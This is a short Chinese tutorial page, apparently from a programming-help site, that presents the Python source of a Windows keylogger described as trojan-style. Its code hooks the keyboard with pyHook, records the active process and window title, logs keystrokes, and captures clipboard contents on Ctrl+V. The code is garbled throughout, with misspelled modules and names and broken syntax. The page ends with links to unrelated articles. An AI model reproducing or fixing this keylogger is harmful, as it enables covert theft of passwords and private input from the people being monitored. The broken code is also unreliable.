Python告訴你木馬程序的鍵盤記錄原理
前言
Python keylogger鍵盤記錄的功能的實現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #獲取最上層的窗句柄 hwnd = user32.GetForegroundWindow() #獲取進(jìn)程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #將進(jìn)程ID存入變量中 process_ = "%d" % pid.value #申請內(nèi)存 executable = create_string_buffer("\x00"*522) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #讀取窗口標(biāo)題 windows_title = create_string_buffer("\x00",512) length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印 print print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value) print #關(guān)閉handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #關(guān)閉鍵盤監(jiān)聽事件函數(shù) def KeyStroke(event): global current_window #檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新窗口) if event,WindowName !=current_window: current_window = event.WindowName #函數(shù)調(diào)用 get_current_process() #檢測擊鍵是否常規(guī)按鍵(非組合鍵等) if event.Ascii>32 and enent .Ascii <127 : print chr(event.Ascii), else: #如果發(fā)現(xiàn)ctrl + V事件,就粘貼板內(nèi)容記錄下來 if event.Key == "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" %(pasted_value), else: print "[%s]" %event.Key, 循環(huán)監(jiān)聽下一個事件 return True #創(chuàng)建并注冊hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注冊hook并興趣 kl.hookKeyboard() pythoncom.PumpMessages()
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,謝謝大家對腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請查看下面相關(guān)鏈接
相關(guān)文章
Python 調(diào)用 ES、Solr、Phoenix的示例代碼
這篇文章主要介紹了Python 調(diào)用 ES、Solr、Phoenix的示例代碼,幫助大家更好的理解和學(xué)習(xí)python,感興趣的朋友可以了解下2020-11-11分享python機器學(xué)習(xí)中應(yīng)用所產(chǎn)生的聚類數(shù)據(jù)集方法
本文根據(jù) 機器學(xué)習(xí)中常用的聚類數(shù)據(jù)集生成方法 中的內(nèi)容進(jìn)行編輯實驗和整理而得,有需要的朋友可以參考想,希望可以對大家在聚類數(shù)據(jù)方面有所幫助2021-08-08python使用xlsxwriter實現(xiàn)有向無環(huán)圖到Excel的轉(zhuǎn)換
這篇文章主要為大家詳細(xì)介紹了python使用xlsxwriter實現(xiàn)有向無環(huán)圖到Excel的轉(zhuǎn)換,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-12-12詳解OpenCV中直方圖,掩膜和直方圖均衡化的實現(xiàn)
這篇文章主要為大家詳細(xì)介紹了OpenCV中直方圖、掩膜、直方圖均衡化詳細(xì)介紹及代碼的實現(xiàn),文中的示例代碼講解詳細(xì),需要的可以參考一下2022-11-11Python3 中把txt數(shù)據(jù)文件讀入到矩陣中的方法
下面小編就為大家分享一篇Python3 中把txt數(shù)據(jù)文件讀入到矩陣中的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2018-04-04